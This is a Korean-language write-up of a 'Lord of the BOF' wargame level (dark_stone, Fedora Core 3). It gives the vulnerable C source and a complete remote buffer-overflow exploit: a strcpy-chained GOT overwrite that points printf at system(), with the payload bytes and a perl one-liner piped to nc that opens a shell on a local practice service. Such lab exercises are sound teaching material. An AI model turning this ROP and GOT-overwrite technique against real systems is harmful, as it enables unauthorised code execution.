[LOB_FC3] evil_wizard->dark_stone

dark_stone.c의 소스는 아래와 같다.

 

/* The Lord of the BOF : The Fellowship of the BOF - dark_stone - Remote BOF on Fedora Core 3 - hint : GOT overwriting again - port : TCP 8888 */ #include <stdio.h> // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main() { char buffer[256]; char saved_sfp[4]; int length; char temp[1024]; printf("dark_stone : how fresh meat you are!\n"); printf("you : "); fflush(stdout); // give me a food fgets(temp, 1024, stdin); // for disturbance RET sleding length = strlen(temp); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, temp); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); // buffer cleaning memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000); printf("%s\n", buffer); }

 

 

취약 파일에 setuid 비트가 없다. 하지만 TCP 8888로 서비스를 제공하므로 리모트 어택을 하면 setuid는 신경쓰지 않아도 될 것이다. 따라서 remote 어택에서는 system()를 써도 무방하다.

 

 

printf의 got를 system함수로 overwrite해서 호출 하도록하자. (물론 overwrite는 strcpy call chain을 이용한다.)

 

 

필요한 몇가지를 구해보자.

 

- system()의 주소 : 0x7507c0

- print의 PLT : 0x8048408

- print GOT : 0x804984c

- pop-pop-ret : 0x080484f3 (문제에서 제공)

- strcpy의 PLT : 0x8048438

 

strcpy call chain 구성 : strcpy의 PLT | pop-pop-ret |  print의 GOT | system주소를 가지는 값 으로 1byte씩 덮어서 system주소로 got overwrite한다.

 

"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4c\x98\x04\x08","1?",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4d\x98\x04\x08","2?",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4e\x98\x04\x08","3?",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4f\x98\x04\x08","4?"

 

 

이제 ?부분에 넣을 것을 system주소를 가지는 값을 구한다. (objdump -D로 찾음)

 

1: 0x80484d0 (0xc0)
2: 0x804817c (0x07)
3: 0x80486bf (0x75)
4: 0x80497f1 (0x00)

 

 

완성된 strcpy call chain :

"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4c\x98\x04\x08","\xd0\x84\x04\x08",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4d\x98\x04\x08","\x7c\x81\x04\x08",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4e\x98\x04\x08","\xbf\x86\x04\x08",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4f\x98\x04\x08","\xf1\x97\x04\x08"

 

이제 뒤에 print의 PLT로 호출하고 "/bin/sh"를 인자로 넘겨주면 된다.

 

"/bin/sh"의 주소 : 0x833603

 

 

 

완성된 코드 :

(perl -e 'print "a"x268, "\x38\x84\x04\x08\xf3\x84\x04\x08","\x4c\x98\x04\x08","\xd0\x84\x04\x08","\x38\x84\x04\x08\xf3\x84\x04\x08","\x4d\x98\x04\x08","\x7c\x81\x04\x08","\x38\x84\x04\x08\xf3\x84\x04\x08","\x4e\x98\x04\x08","\xbf\x86\x04\x08","\x38\x84\x04\x08\xf3\x84\x04\x08","\x4f\x98\x04\x08","\xf1\x97\x04\x08", "\x08\x84\x04\x08","a"x4,"\x03\x36\x83\x00"';cat)|nc 127.0.0.1 8888